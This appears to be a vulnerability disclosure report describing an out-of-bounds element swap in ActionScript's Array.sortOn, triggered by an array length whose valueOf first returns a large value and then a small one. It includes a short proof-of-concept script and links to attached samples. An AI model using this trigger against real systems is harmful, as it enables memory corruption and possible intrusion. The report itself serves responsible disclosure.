If the length of an array is overridden so that it returns a long length, and then later a short one, Array.sort can swap array elements that are out of bounds of the array in memory.

A PoC is as follows:

var s = 1;

var rec_array:Array = new Array();
rec_array.push({name: "john", city: "omaha", zip: 68144});
rec_array.push({name: "john", city: "kansas city", zip: 72345});
rec_array.push({name: "bob", city: "omaha", zip: 94010});

var n = {valueOf : gl};
rec_array.length = n;

rec_array.sortOn(["name", "city"]);
for(i=0; i<rec_array.length; i++){
    trace(rec_array[i].name + ", " + rec_array[i].city);
}

function gl(){
	
	trace(s);
		if(s< 3){
		s++;
		return 100000;
	}else{
		return 3;		
		}
	}

A sample swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 

arraysort.swf 826 bytes Download

arraysort.fla 4.8 KB Download